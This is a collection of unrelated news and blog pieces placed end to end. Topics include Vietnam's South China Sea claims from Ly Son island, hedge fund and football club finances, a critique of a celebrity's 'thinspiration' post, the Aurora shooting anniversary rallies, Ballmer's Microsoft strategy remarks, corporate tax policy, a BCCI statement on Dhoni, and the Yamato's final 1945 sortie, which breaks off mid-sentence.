Ly Son is Vietnam's historic gateway for its military and fishermen to their "East Sea". It is the most northerly island Vietnam still controls. At a diplomatic level, Vietnam and China seem eager to defuse tensions. Prime Minister Nguyen Xuan Phuc's six-day visit to China in September culminated in reassurances: "China and Vietnam can … promote maritime cooperation through friendly negotiations," proclaimed China's President Xi Jinping. But its build-up of military installations on artificial islands continues unabated, with hangars being built to house jet fighters. Vietnam is making strident moves to counter Chinese domination. Earlier satellite pictures show an airstrip on Vietnam's Spratly Island recently extended to accommodate most planes in its air force, according to the Centre for Strategic and International Studies in Washington. In August, Reuters reported Vietnam had discretely fortified five Spratly Islands with rocket launchers within range of China's newly-built airstrips. Chinese state-run media described the move as "a terrible mistake". "It is within out legitimate right to self-defence to move any of our weapons to any area at any time within our sovereign territory," Deputy Defence Minister Senior Lieutenant-General Nguyen Chi Vinh said. Vietnam is building strategic partnerships, with India extending a $US500 million line of credit for defence equipment, and Japan has supplied coast guard vessels and joined in naval exercises. "We share similar strategic concerns and maybe we trust India and Japan more to be longer term allies," said noted authority on the South China Sea, Professor Tran Duc Anh Son. Back on Ly Son, I am shown a museum dedicated to Vietnam's claims to the sea. The legal argument derives from 1836 when the king of Hue began dispatching soldiers once a year to the islands, hunting for pearls, giant clams and salvaged treasure from boats which sank on treacherous reefs. This regal connection is significant. "Vietnam is the rightful owner of the Paracels and Spratlys," argues Nguyen Lan Anh, Deputy Director of East Sea policy. "Sovereignty cannot be claimed by fishermen, but it can be claimed through edicts of a king." Pham Thoai Tuyen, 72, is an 11th-generation descendant of one of the six original families who settled the island in 1609. His forebears placed stone markers on a few Paracel islands, which they named after themselves. "These islands have been part of Vietnam for a long time," Mr Pham says. He is angered when he hears of the increasing harassment by Chinese Coast Guard ships and fishermen. At least 18 boats out of the 250-strong Ly Son fleet have been sunk by the Chinese in the past three or four years, while many others have been rammed and attacked, says Nguyen Quoi Chinh, president of the local fishermen's association. Some fishermen have been killed. There is some evidence regional tensions have calmed over the Spratlys since Philippines President Rodrigo Duterte softened his country's stance towards China's claims in August. Almost alone, Vietnam is firming its stand and the Coast Guard reports increasing hostilities. So far, this is a slow-burning war between rival Coast Guards and fishermen, as the competing nations deploy coast guards instead of navies to avoid escalation. At Coast Guard headquarters in Ky Ha harbour, Colonel Tran Van Dung escorts me onto the bridge of one of his newest ships, and explains the challenges. His fleet of 20 ships must cover 175,000 square kilometres, including the Paracels and northern Spratlys. "In recent years we have rescued many fishermen and protected them in their traditional fishing areas," he says. "We need to double our fleet and personnel — and this is happening." Fishermen are encouraged to operate in the claimed waters as they play an important role in the continuation of sovereignty and provide useful information. Vietnam cannot win a war against China, but it can hold its ground and repel them, as it has done in battles before — the last was two years ago when China provocatively hauled an oil rig into the contentious waters. Violent riots in Vietnam saw a number of ethnic Chinese people killed and thousands flee the country, before the rig was moved. While China resists addressing the basis of the competing claims, underlying problems are not being resolved. Dangerous days are looming, as frictions increase. Back on his new coast guard cutter, Colonel Tran remains confident. "We will always be the winner in war because we have the support of our people," he says, evoking past victories Vietnam has won against great powers like the US and France. He is clearly thinking now of a rising power to the north as he descends the gangway again. Topics: world-politics, vietnam, china First posted -Eric Mindich's $8.5 billion hedge fund, Eton Park Capital Management, is now ready to pick through the debt of beaten-up energy companies, an area it avoided last year as the price of oil tumbled. "We have completely avoided exposure to the high yield debt of energy companies and to energy-impacted emerging markets, but as the price of these bonds trade down, we are spending increasing amounts of time researching opportunities in this space," Eton Park wrote in a letter to clients dated Jan. 16 and seen by Reuters. Sidestepping falling oil prices that hit six year lows is just one of several bullets the prominent manager said he dodged last year. Eton Park gained 6.4 percent in 2014 after rising 22 percent in 2013 and 13 percent in 2012. For the last three years, the fund returned an average 13.3 percent annually. Eton Park dropped mortgage companies Fannie Mae and Freddie Mac with a big profit before a U.S. judge threw out a lawsuit filed by shareholders to prevent the government from seizing most of the companies' profits. It also got out of pharmaceutical company Shire Plc amid signs the government would crack down on mergers seeking tax advantages. And it sold Shire short before its planned merger with AbbVie Inc was called off, netting a profit. For most hedge funds, 2014 was another year of lackluster returns, with the average fund gaining only about 4 percent and some managers nursing losses in the wake of heavy declines in Fannie and Freddie, as well as Shire stock prices. "In 2014, we managed to avoid most of the major pitfalls, while at the same time build large exposures at the right times to the key winners," the letter said. One of those winners was pharmaceutical company Allergan Inc , which fought hard against being bought by Valeant Pharmaceuticals International Ltd, and later signed a deal with Actavis Plc. Short bets against offshore drillers and Europe's Euro currency as the U.S. dollar was rising also helped. On the other hand, bets on Marathon Petroleum Corp and Tullow Oil Plc (TUWLF) ranked as some of the fund's biggest losers last year. Mindich has been a huge success story in the $2.5 trillion hedge fund industry after drumming up so much demand when he set up his fund in 2004 that he raised $3.5 billion at the start. (Reporting by Svea Herbst-Bayliss. Editing by Andre Grenon) -The Baggies could be in foreign ownership by the start of next season as he is already fielding inquiries from groups from America, the Far East and Australia. But he is ready to shelve the hunt for a buyer if a deal is not done by the start of pre-season training in early July. Peace has held preliminary talks with a series of potential overseas investors with at least one consortium given a tour of The Hawthorns and the Baggies training ground near Walsall. Hawthorns sources have confirmed several groups are interested but none are British-based and no firm offers have been lodged. A sale would put the club in foreign hands for the first time in its 137-year history and net Peace a huge profit after he bought his majority stake for just a few million pounds a decade ago. John Homer, chairman of West Bromwich Albion Supporters' Club, said: "It's a sign of the times and we can all see the number of foreign owners in the English game now. "But the key phrase now must be 'due diligence' to make sure that any potential owners are fit and proper people to run the club. "That's no disrespect to any of the people who have shown an interest but there are a number of cautionary tales around the country at the moment where foreign owners are concerned and I'm sure a lot of fans would feel a little uncomfortable at first. "In my heart of hearts, as a proud Black Country man, I would love a businessman from the Black Country to step in and take over but I suppose how possible that is depends on the price, and that's not to say a foreign owner would be wrong because they could be good people. It's just important that the correct due diligence is done." Advertising An asking price of between £150m and £200m has been discussed with potential buyers, valuing the Baggies much higher than was originally expected when Peace invited offers earlier this year. The increase is due to the new three-year, £5bn Premier League broadcast rights deal, which is expected to increase to around £7bn when overseas rights are sold in the next few weeks. But Peace wants a sale concluded before the Baggies players return for pre-season training at the start of July to avoid compromising head coach Tony Pulis's summer transfer dealings and is prepared to put any deal on hold if it is not completed in time. That would mean identifying a preferred buyer by May to allow time for agreements to be reached. Pulis has been kept informed of developments and his presence as the reigning Premier League Manager of the Year is one of Albion's key selling points. However, Mr Homer still believes finding a buyer to make a firm bid could be difficult. He said: "For a club of our size, the stadium and the training ground is second to none, but at the end of the day we are only a 'town team' and there is only so far we can go in our catchment area. Advertising "That's not being disrespectful, because I and many others are proud that we are a town team and proud of what we achieve." Peace, who owns 77 per cent of Baggies shares, confirmed in mid-February that he was willing to sell to a suitable investor, although he stressed he is keen to ensure the club's future is protected. In the statement he said: "I stated in 2008 that I was open to proposals regarding investment in the club. "I will not stand in the way of a new owner, providing they convinced me their intentions for the club were in keeping with its traditions and values and their ability to deliver on them was realistic. Nothing has changed in that regard. The announcement of a new and record media rights deal for the Premier League from season 2016-17 is sure to mean that there is once again huge interest in the brand. "It was only right and prudent, that at such a moment we should present the club to the investment market. I believe it is a sound company – an extremely solid football club with no debt, significant assets, a developing infrastructure and reasons to be confident." -Trigger warning: For eating disorders and misogynistic language. Most of you are probably familiar with Adam Richman, the dude from "Man Vs. Food," a show on the Travel Channel. (The gist is he goes on eating challenges across the country and eats vomit-inducing portions at local restaurants. That’s it.) He was a chubby dude the whole time the show was going on, but recently he’s lost a bunch of weight. Celebrities losing a lot of weight isn’t really a big story. Being famous means there’s a lot of pressure to look a certain way. If that’s what he wanted, if it makes him feel better, good for him. I’m all for body autonomy and what another person chooses to do with their body isn’t any of my business. However, it was brought to my attention that he posted this photo: It's a picture of Adam Richman taking a mirror selfie in too-big pants to show off his weight-loss with the caption: “Had ordered this suit from a Saville Row tailor over a year ago. Think I’m gonna need to take it in a little…. #Victory #EyesOnThePrize #AnythingIsPossible #fitness #transformation #thinspiration” Just seems like another boring self-congratulatory weight loss photo...until we get to the last tag. Thinspiration? Oh really? Now for those of you not hip to the lingo, thinspiration is very popular in pro-anorexia and pro-bulimia circles, generally consisting of pictures of emaciated bodies, mantras like "What’s more important, that slice of pizza or a thigh gap?" and suggestions, tips, and motivation to either starve or purge. (Regardless of whether or not you agree with dieting, starving or purging are things that should never be encouraged.) Without context, thinspiration may not seem like a bad word, but a simple Google search proves that it was created by a community of people with eating disorders to inspire each other to continue and celebrate their illnesses. I want to stop and add that if you look up the "thinspiration" tag on Instagram, this user warning comes up, which means that even Instagram knows that it’s a problematic term: A friend of mine who followed Adam saw his post, and figured that maybe he was not aware of the negative connotations of the word "thinspiration." So she decided to explain it to him politely. This was his response: Advertisement — Continue reading below (DILLIGAF, aka, "do i look like I give a f--k?") Now look, we’ve all used words by mistake, we’ve all stumbled and said something offensive and didn’t realize it. It happens to the best of us, and it’s totally understandable. But when you’re called out for saying something that does active harm, especially if you’re somewhat of a public figure, you listen, you apologize, and you don’t do it again. A perfect example would be when Jonah Hill was recently demonized for throwing a homophobic slur at a paparazzo. His apology was perfect. As a public figure, even if you have a personal Instagram (Adam has 92k followers) you need to understand that the things you say will be scrutinized, and the words you use have meaning. You need to be extra careful to think about not what you mean when you say things, but how other people will interpret them. And in a society where eating disorders are at an all-time high, thinspiration is a loaded word. I also posted a comment on Adam’s Instagram about how the term was problematic, but it was ignored, so I made a post about Adam’s "DILLIGAF" comment on my personal Instagram, and asked my followers to "tell him that eating disorders are not a joke and nothing to take lightly." My followers did just that, but I didn’t for one second predict the vitriol that followed. There was apparently a point where he referred to me specifically as a "c--t," but he ended up deleting it before anyone got a screenshot. But yes. He told a friend of mine to kill herself, told another to eat a bag of sh-t, and completely went on the attack, lacking any modicum of class or decorum. He then blocked anyone who called him out (myself included) regardless of whether their comment was rude or polite. You know what? It doesn’t feel good to be called out publicly when you do something wrong, especially by multiple people. It’s uncomfortable. But these responses are completely unacceptable. He then went on to "apologize." But this apology was completely invalidated in the comment section, where he waxed poetic about people being oversensitive and pandered to his fans instead. I for one am extremely disappointed by the fact that he’s obviously not learned anything from this incident. *** -Tom Sullivan and his wife Terry hold hands as they visit the grave site of their son Alex Sullivan on Thursday, July 18, 2013, in Wheat Ridge, Colo. Alex was killed along with 11 others in the Aurora theater shooting last July on his 27th birthday. Saturday is the anniversary of the shooting. (AP Photo/Ed Andrieski) DENVER (AP) — Gun-rights advocates are planning a rally at the same park where a group will read the names of gun violence victims on the anniversary of the Colorado theater shootings, prompting a state lawmaker to call the move "a slap in the face." Rocky Mountain Gun Owners scheduled a rally for Friday to coincide with a remembrance ceremony planned by Mayors Against Illegal Guns at Cherry Creek State Park in the Denver suburb of Aurora. Both start at noon. State Parks spokeswoman Jennifer Churchill said the groups were issued permits for locations that are within sight of each other, but she didn't know the distance. She said park rangers and law officers would be present to keep the peace. "I think it's a slap in the face of the people who are suffering the loss of a loved one," said state Rep. Rhonda Fields, a Democrat from Aurora. Fields' district includes the theater where 12 people were killed and 70 injured one year ago Saturday, and she plans to participate in the remembrance ceremony. Fields' son was shot and killed in 2005 to keep him from testifying in a murder trial. Dudley Brown, executive director of Rocky Mountain Gun Owners, denied his group was being insensitive and said his members would be respectful. He accused Mayors Against Illegal Guns and its founder, New York City Mayor Michael Bloomberg, of politicizing the Aurora massacre to promote gun control. "Mayor Bloomberg is using this tragedy and walking all over graves to get to the microphone," Brown said. Bloomberg's organization respects the gun group's constitutional rights to protest and to own firearms, spokesman Kelly Steele said. "But this is a memorial for Americans murdered with guns, not a pep rally," Steele said. "Their rights aren't in question, but their judgment certainly is." Brown said other memorials to the Aurora victims have been "wholly appropriate" and his group didn't stage simultaneous rallies. "But when Mayors Against (Illegal) Guns had decided to dive in and make this a political issue, which they have since the beginning, we decided to dive in," he said. Brown declined to say whether his group's rally would include speakers but added, "I have no intention to get in a shouting match." On its website, Rocky Mountain Gun Owners calls itself "Colorado's only no-compromise gun rights organization." Brown declined to say how many members it has. Mayors Against Illegal Guns said its ceremony will start with a news conference, after which participants will begin reading the names of about 2,500 people who have been killed by gunfire since Dec. 14, when a gunman killed 20 first-graders and six adults at Sandy Hook Elementary School in Newtown, Conn. The names will be read until 12:38 a.m. on Saturday, the moment that the shootings began in the Aurora theater a year earlier. Scheduled participants include a wounded survivor of the Aurora shootings, parents whose adult children were killed in the theater and a woman whose sister was killed in Newtown. ___ Follow Dan Elliott at http://twitter.com/DanElliottAP -ORLANDO — Outgoing Microsoft CEO Steve Ballmer said that the company is moving toward one Windows across multiple screens and devices and that a touch-first Office will ultimately get to the iPad when it gets to Windows. Ballmer, speaking at the Gartner Symposium ITXpo, most likely made one of his final appearances before its core enterprise customers. The CIOs in attendance were all Microsoft customers in some form. In many respects, Ballmer defended and outlined Microsoft's current approach. He didn't cover a lot of new ground, but was typically animated and had his share of quips. The big takeaway is that Microsoft is aiming to be an integrator on multiple fronts. "We grew up as a company by dividing things into smaller manageable problems. The number one thing we're hearing from customers is that we want you to put it together," said Ballmer, who said Microsoft has to be an integrator. For Ballmer, putting it all together means hardware, but the heavy lifting will be on interfaces, developer tools and creating a common Windows platform for a heterogeneous world. See also: Microsoft talks up single app store at company meeting | Microsoft developer directions: One Windows core doesn't mean one store | Microsoft: 'Metro-Style' Office not due until 2014 | Microsoft working to unify further its Windows and Windows Phone platforms Ballmer said it's realistic to have one Windows platform across multiple screens. "Sometime in the next short cycle we'll see great progress on that. What it really means common user interface, common programming interface, common security architecture and user interface adaptability and common developer model and key services," said Ballmer. He noted that a common experience will be coming sooner rather than later, but "I'm not going to give you a schedule." "We need to build a common operating system as well as a common back end based on what the device knows about you," said Ballmer. As for other platforms, Ballmer said Microsoft has made Office and terminal services to the iPad. Lync and OneNote are native. Outlook may make sense, but hard to believe Apple will let us make that available, he said. Word and Office are optimized for keyboard and mice. "iPad will be picked up when there's a touch first user interface. That's in progress for Office," said Ballmer. Here's Ballmer on other key topics: What's the new dream for Microsoft? "We're talking about a new world and enabling people to achieve what's more valuable in life," said Ballmer. Devices and services are just the "how" behind those personal and professional lives. Have we completely redone the way people conduct themselves through digital techniques? Ballmer pointed out that the Gartner analysts had notebooks and pens. Paper is failsafe and prove that Microsoft can still add value. "Think about the way we conduct everyday tasks," said Ballmer. "We see a range of activities driven by software activities...that make us stronger." Partnership strategies. Ballmer said that partnerships with OEMs have changed over the last year. "We've spent a lot of time talking with our key partners about the need to push forward," said Ballmer. "We're pushing through with hardware innovation and we're also licensing. We see a world that's heterogeneous with Windows and things that are easier if we push forward with integration." Pen systems. "I believe in the power of the pen," said Ballmer. "I think a lot of systems will have a stylus built in. We're going to go all in." Microsoft's approach will be to make the big all-in bets and then give it to the ecosystem. Design. There's software and hardware design, said Ballmer. User interface is critical and there are a number of people focused on it. On the hardware side, Nokia will bring expertise to the table. Windows does form the center of design and interaction principles. Microsoft also has a design guide that all applications follow, said Ballmer. Spread too thin? "Our most ambitions competitors are trying to compete in all the same areas that we are," said Ballmer. "We have more success in more areas than anyone else does." Enterprise customers are asking three questions: How do I manage infrastructure? What will we use for business process? What will be use to empower our workers? "We have a broad footprint," said Ballmer. Multiple devices. If you're going to be on one screen you need to be on all of them (from a software perspective)," said Ballmer. He dismissed talk that about buying a PC vendor. Ballmer did say that Microsoft is working on an 82-inch screen Windows 8 device. "It looks great on a wall, but isn't very portable," he quipped. There's no disconnect between designing for consumer and enterprise. "People are people," said Ballmer. "They are people in their work and personal personas. Consumers want to have an integrated life." The biggest consumer businesses are Google, Apple and Microsoft, noted Ballmer. There are connections everywhere. For example, Microsoft needs to make Lync and Skype more interoperable to bridge both communication tools. Licensing. "What we've learned about licensing is the best thing we can do to make it simpler is not changing it," said Ballmer. About 10 years ago, Ballmer said Microsoft changed licensing and "we made every customer mad." Licensing changes cause more upheaval than wanting to simplify. "What we're doing is looking forward as we add SaaS and cloud options that we're not making things more complicated," said Ballmer. Developers solve tech problems. Ballmer said every problem in technology is fixed by developers. Developers, however, will operate differently. Deployments will happen more quickly. "The cycle from development, test to deployment will happen much faster," said Ballmer. Who is the top competitor? Google, Apple or Amazon. "All of the above," said Ballmer. The day you say it's all about one guy the other one emerges, said Ballmer. Apple and Samsung have grown revenue and earnings more than anyone else, he noted. Ballmer said five years ago he wouldn't have projected that outcome. Future trends. Ballmer was upbeat on the potential for learning machines and 3D printing. "We need to focus on enabling 3D printing," said Ballmer. What makes a great CIO? "It takes two things. One I do believe CIOs need to understand technology and feel comfortable. On the flip side, all CIOs need to understand the culture, go-to-market processes and the business processes. A lot of CIOs feel divorced from the business of the business," he said. Best places for tech to make a difference. Ballmer said education, healthcare and communication and making the world feel smaller via real-time translation software and other tools. Related stories: -Do the Latest GDP and Profit Data Justify Tax Cuts for ‘Job Creators’? This week’s second estimate of US GDP shows a disappointing Q2 growth rate of 1.7 percent, just slightly faster than the 1.5 percent of the advance estimate released a month ago (see chart). These latest data ensure that weak GDP growth and what to do about it will remain major issues in the presidential election campaign. On the GOP side, the leading proposal for getting growth back on track is to cut taxes for ‘job creators,’ to use the favored code word for top income earners. The idea has a certain logic to it. We know that growth comes from investment. We know that profits motivate investment and profits taxes reduce that motivation. It stands to reason, then, that weak profits and high taxes would be likely culprits for slow growth–except for one awkward fact. The awkward fact is that corporate profits, both before and after taxes, are running at or close to record levels. As the next chart shows, before- and after-tax corporate profits, with inventory valuation and capital consumption adjustments, hit 30-year highs in the last quarter of 2012 and have stayed above year-earlier levels ever since. In fact, in the past three quarters, corporate profits after taxes, as a percentage of GDP, are higher than they have ever been in the 65 years since the government began reporting the series. Furthermore, when those corporate profits are passed along to individuals in the form of dividends or capital gains, they are taxed at rates much lower than at many periods in the past. What conclusions should we draw from these data? One, certainly, would be that the ‘job creators’ have pocketed their incentive pay without creating many jobs in return. There is supposed to be a quid pro quo here, but so far all we have seen is the quid, and not much of the quo. If there is no simple proportionality between profits and growth, or profits taxes and growth, then why not change the policy? A number of possible growth-enhancing reforms come to mind, some of which I have discussed in earlier posts. One such reform would be to close the loopholes in the corporate tax system that make the burden of corporate taxes wildly different from one firm to another. Because of preferential treatment of foreign source income, accelerated depreciation, and other provisions of the tax code, some of the largest U.S. corporations (including General Electric, Boeing, Verizon, and Mattel, according to one report) pay no profits taxes at all, while others bear the maximum 35 percent rate. There are so many loopholes that the United States, with the highest corporate tax rates in the world, collects less profit tax revenue as a share of GDP than do many countries with lower marginal rates. Currently, the U.S. corporate tax accounts for only 9 percent of federal tax revenues, compared with a post-World War II high of 30 percent. Eric Toder of the Tax Policy Center estimates that eliminating corporate tax preferences could potentially save $506 billion over five years and make it possible to reduce the top corporate tax rate from 35 percent to 23 percent without loss of revenue. Another reform that would be even more effective would be to tax dividends and capital gains as ordinary income. That would make it possible to reduce the corporate tax rates even further. Ideally, reforms would end the double taxation of corporate profits altogether. And finally as I have argued elsewhere, the current system of taxing capital gains and dividends at lower rates than other forms of income does not encourage investment in general so much as it encourages structuring investment decisions in ways that avoid taxes, even if they are less efficient. Neither is a separate regime for capital gains taxes necessary to compensate for the effect of inflation on effective tax rates. When we consider corporate income taxes and capital gains taxes jointly, a strong case emerges for revenue-neutral reform that taxes capital gains and dividends as ordinary income while lowering or eliminating corporate profit taxes. What is blocking these reforms? Politics. Every preference and loophole in the tax code is defended by an army of lawyers and lobbyists paid for by the firms that benefit from it. Campaign contributions and super-PACs (corruption American style) reinforce the effect. The only firms and individuals left paying the full statutory tax rates are the politically powerless. Yet office seekers, with complete shamelessness, try to bring them on board, too, by flattering them as ‘job creators’ and promising them unspecified and unaffordable across-the-board rate cuts. The data don’t support the notion that across-the-board cuts on profits and property income promote growth, but for politicians, there is always the hope that no one will notice the data. Related posts Controversy over Romney’s Taxes Underlines the Need for Broad Reform (Discusses in detail the economics of preferential tax treatment for capital income.) What Happened to Corporate Tax Reform? (Discusses the economics of corporate tax incidence and double taxation.) -BCCI has issued a clarification regarding the probe on MS Dhoni regarding a conflict of interest issue. Dhoni's alleged involvement with Rhiti Sports Management while being the India captain had been raised in 2013. The firm also manages commercial interests of cricketers like Suresh Raina and Ravindra Jadeja. In a media release, BCCI President, Jagmohan Dalmiya said he has been misquoted by the press. "It appears I have been misquoted as far as Mr Mahendra Singh Dhoni is concerned." While it was earlier reported that BCCI was setting up a probe committee to look into the matter and Dhoni specifically, BCCI released a statement saying that Jagmohan Dalmiya, the BCCI president, is looking to implement the decision taken by the Working Committee in 2013. The statement also said that BCCI will ask all the players to disclose their involvement in sports management companies, if any. Dhoni was the subject of much speculation two years ago when it came to light that he held 15% shares in Rhiti Sports Management Pvt Ltd, a company owned by his friend Arun Pandey. The company also manages the marketing of Chennai Super Kings of which Dhoni is the captain. Pandey later came out with a statement saying that Dhoni held the shares only for a temporary period. However, the issue remained pertinent since Dhoni was closely involved in a number of other firms along with Pandey raising questions of a possible conflict of interest. With the BCCI statement saying that it will be asking players to disclose their involvement in sports management companies, it is yet to be seen whether an actual probe will be set up to look into Dhoni's alleged conflict of interest. -The air raid sirens were wailing. Ignoring them, Emperor Hirohito seated himself at the conference table in the shelter adjoining the Imperial Library. The sirens had become a fixture of life in Tokyo. Nearly three weeks ago, on the night of March 10, 1945, American B-29s dropped incendiary bombs on the city. Over 100,000 Japanese perished in the fires, which turned 16 square miles of Japan’s capital into charred rubble. The smoke and stench of the blazes still wafted through the Imperial Palace. How much longer the reign of Hirohito—or the Empire of Japan—might last was very much on the emperor’s mind. In the past few months Japan had suffered calamitous setbacks at the Battles of the Philippine Sea, Leyte Gulf, and Iwo Jima. Now the Americans were about to invade Okinawa. At the conference table were the emperor’s military advisors, the chiefs of staff of the army and the navy, and their immediate subordinates. The chiefs had presented to Hirohito the plan for the coming counteroffensive at Okinawa. Occasionally the emperor stopped, squinting through his wire framed spectacles, to ask questions. How many aircraft would be used in the attacks? Two thousand, an admiral told him. Was that enough? the emperor asked. The admiral explained that an additional 1,500 army aircraft would be available. Hirohito seemed perplexed. Over 100,000 army troops were prepared to die to defend Okinawa, and several thousand kamikaze pilots would be sacrificed. He turned to Admiral Koshiro Oikawa, the navy chief of staff. “And where is the navy?” Oikawa glanced around him. None of the officers was sure how to answer. Did the emperor understand that the navy had been reduced to a handful of ships? Did he know there was nothing the navy could do to alter the situation at Okinawa? Perhaps, but it didn’t matter. The emperor’s meaning was clear. It was not acceptable that the army should make so great a sacrifice while the navy’s ships remained clear of the battle for Okinawa. With a single question, the fate of Japan’s greatest warship—and the Imperial Japanese Navy—had been decided. Its name was Yamato, the mightiest warship yet constructed. Displacing 71,659 tons and capable of 27 knots, the Yamato possessed the greatest firepower ever mounted on a vessel—more than 150 guns, including nine 18.1-inchers that could hurl 3,200-pound armor-piercing shells on a trajectory of 22.5 miles. Its massive armor was the heaviest ever installed on a dreadnought-class battleship, making it virtually impregnable to the guns of any ship in the world. The very name Yamato was a poetic and spiritual term for Japan itself. In its gray, armored magnificence, the great ship symbolized Japan’s dreams of conquest. On the morning of April 7, 1945, in response to the emperor’s question—and where is the navy?—the Yamato embarked on its last mission. As the flagship of a force of 10 warships, it would head into the East China Sea in an assault against the American fleet off Okinawa. Codenamed Ten-Go, the operation would coincide with a massive aerial kamikaze assault while the Japanese 32nd Army on Okinawa launched a counterattack on the ground. After inflicting maximum damage on the American ships, Yamato would be run aground and serve as a stationary artillery platform until destroyed. Any remaining crew would join the garrison defending Okinawa. Almost no one aboard the Yamato, including the officer commanding the operation, Vice Admiral Seiichi Ito, believed it would succeed. Ito at first flatly refused to carry out the order. Not until he was informed that the emperor himself expected him to execute the mission did he accept his fate. A buzz of excitement crackled through the flag bridges of the U.S. Fifth Fleet. Aboard the battleship New Mexico, Admiral Raymond Spruance studied the newly received surveillance reports. The Yamato, the last of Japan’s great battleships, was coming out to fight. Seldom had Spruance’s staff seen their boss’s cold, gimlet-like eyes flash with such emotion. In the U.S. Navy of 1945, Raymond Spruance was something of an oddity—a nonaviator whose command included the greatest naval air force ever deployed. But Spruance also commanded a task force of battleships and cruisers whose only duty so far had been the bombardment of enemy shore positions on Okinawa. Now Spruance, a normally cool and analytical old battleship sailor, was drawn by the siren song of a last epic surface battle. He signaled Rear Admiral Mort Deyo, who commanded Task Force 54, to prepare his battle line to meet the Yamato task force. If things went according to plan, the prize of sinking the world’s greatest dreadnought would go to the battleship admirals. But on the eastern side of Okinawa, aboard the carrier Bunker Hill, the commander of Task Force 58—the fast carrier task force—was eyeing the same prize. Vice Admiral Marc “Pete” Mitscher had the gaunt, wizened face of a bird of prey; fittingly, his call sign was “Bald Eagle.” Like most senior naval aviation officers, Mitscher had spent a career fighting the battleship admirals who had steered the navy’s thinking for most of the current century. One of those was his immediate superior, Raymond Spruance. Mitscher felt a stirring of battleship versus aircraft carrier rivalry. Though the carriers had mostly fought the great battles of the Pacific, whether air power alone could prevail over a surface force had not been proven beyond all doubt. Here was an opportunity to end the debate forever. Now Mitscher had a problem. Spruance had just transmitted an all-fleet order to allow the enemy task force to proceed southward, where Admiral Deyo’s surface task force would engage it. In the meantime, Mitscher’s orders were “to concentrate the offensive effort of Task Force 58 in combat air patrols to meet enemy air attacks.” Like a team of sharp-eyed contract lawyers, Mitscher and his staff pored over the order, looking for slack. Mitscher had served under Spruance long enough to know his style, and Spruance’s order had not specifically forbidden Mitscher to go after the enemy. It was as much slack as the Bald Eagle needed. The trick was in knowing where the enemy fleet was headed and what its objective was. Admiral Deyo’s 6 battleships, 7 cruisers, and 21 destroyers were already headed north to intercept the Japanese force. Mitscher acted on a hunch that the Yamato was feinting northwestward. If he was right, the Japanese would soon make a hard turn south toward Okinawa. He signaled his carrier task groups to prepare for action. The race to get the Yamato was on. Through the breaks in the low overcast, Admiral Ito caught glimpses of the enemy. He could see the American reconnaissance planes flitting in and out of the clouds, tracking his task force. As Ito turned the Yamato task force southwestward, racing toward Okinawa, the weather turned increasingly sour. Veils of light rain were descending like curtains from the clouds to the sea. At 20 minutes past noon on April 7, the first wave appeared on the radar. Hunched over his scope, the young radar officer Mitsuru Yoshida tried to sort them out. On his screen they appeared as three large blobs, one for each formation. Gradually they resolved into groups, then flights, then individual airplanes. From the bridge came a flurry of orders. Each ship in the task force increased its speed to 25 knots. The entire formation swung together to an easterly heading. The waiting was over; Yamato’s last fight would be a sea-air engagement, not a surface action against other ships. An entire formation of warplanes emerged from a gap in the clouds. One after another they peeled off in a dive. Yamato’s captain, Rear Admiral Kosaku Ariga, barked “Commence firing!” from his command post atop the bridge tower. In the next instant, 24 antiaircraft guns and 120 machine guns opened fire. Thunder reverberated through the steel decks. From across the water came the echoing gunfire of the screening ships. The gloomy sky turned crimson with the explosions of a thousand shells. Ariga was standing out in the open, shouting commands as the first bombs and machine gun bullets rained down on the Yamato. The battleship’s thick armor plate resisted most of the bombs, but shrapnel and bullets sliced through the gun crews like a scythe. The dive bombers were the hardest to defend against because they were attacking from almost straight overhead. The gunners were having trouble tracking them until the enemy planes had already released their bombs and were pulling out of their dives. A bomb from an SB2C Helldiver wiped out a five-inch gun turret, shredding the bodies of all the gunners. Another bomb exploded into the radar room, killing everyone inside. The fighters—F4U Corsairs and F6F Hellcats—were attacking in shallow dives, mainly dropping lighter bombs, but their machine guns were raking the ship with deadly precision. The hellish concussion of gunfire, roaring engines, and rattling machine guns beat like a hammer on the flesh of every man aboard the ships. Off Yamato’s port beam appeared the torpedo planes, looking dark and ominous in the gray murk. As the TBM Avengers swooped in closer, the smaller guns on Yamato joined in the collective defense. One of the torpedo planes took a hit in the wing, pulled up in flames, then plunged into the sea. The others kept coming. Torpedoes dropped from their bellies, slashing through the water toward Yamato. Admiral Deyo had just received a cheery send-off from his immediate boss: “We hope you will bring back a nice fish for breakfast.” Deyo was in the act of scribbling his reply when he was interrupted by an incoming report. Mitscher’s planes had just found the Japanese fleet. Deyo tried to swallow his disappointment. He finished the message with, “…if the pelicans haven’t caught them all.” Deyo had been around the navy long enough to know that some things never changed; given the chance, the damned “airedales” would steal the glory. Pelicans or not, Deyo was sticking to his orders, taking his battlewagons north. If nothing else, he was going to earn himself a footnote in military history. Morton Deyo would be the last naval commander in World War II—perhaps history—to form a battle line against an enemy fleet. From the cockpit of his F6F-5 Hellcat fighter, Yorktown air group commander Herb Houck was directing the planes of his group. It was 1:14 p.m., over an hour since the first wave located the Japanese force. Houck’s group was in the third wave. The operation was supposed to be a coordinated strike, with Task Force 58’s task groups supporting each other. The tactic had been used and refined since the first air battles of the South Pacific. In successive waves, strike groups from each carrier would bear down on the Japanese task force. The fighters were supposed to go first, strafing, rocketing, dropping light ordnance, distracting the enemy gunners while the SB2C Helldivers plunged almost straight down with their heavy bombs. They would be closely followed by the TBM Avenger torpedo planes, which needed all the distraction and diversion they could get when they made their dangerous low altitude runs straight at the enemy ships. At least that was the plan. There was nothing coordinated about the frenzied, disjointed air strike on the Yamato force. Each task group had launched its aircraft without waiting its turn. Each strike leader was trying to be the first to hit the target. The first to locate the Yamato’s task force had been the planes of Task Group 58.1, from the carriers San Jacinto, Bennington, Hornet, and Belleau Wood. Right behind them came the units from Task Group 58.3 and the carriers Essex, Bunker Hill, Bataan, and Cabot. In the third wave, nearly an hour later, appeared the 106 planes of Task Group 58.4 launched from Intrepid, Yorktown, and Langley. (The only group to miss the show was Task Group 58.2, which Mitscher had detached to protect the kamikaze-damaged carriers Franklin, Enterprise, and Yorktown as they limped to a repair facility at Ulithi.) As each group arrived over the target, the planes had to jockey for position in the narrow band of sky between the ocean and the lowest deck of clouds at about 1,500 feet. The risk of a midair collision was almost as great as the chance of being hit by the enemy. SB2C Helldivers plummeted through any hole they could find in the overcast, sometimes sharing the space with other planes. Some lost sight of their targets in the clouds, then had to make frantic corrections as they broke clear. Radio discipline had vanished, the tactical frequency was a bedlam of excited chatter, pilots yelling out target locations, calling bomb hits, reporting planes going down. The Japanese ships were zigzagging across the water like rabbits evading hounds. The destroyers, more nimble than the light cruiser Yahagi and the 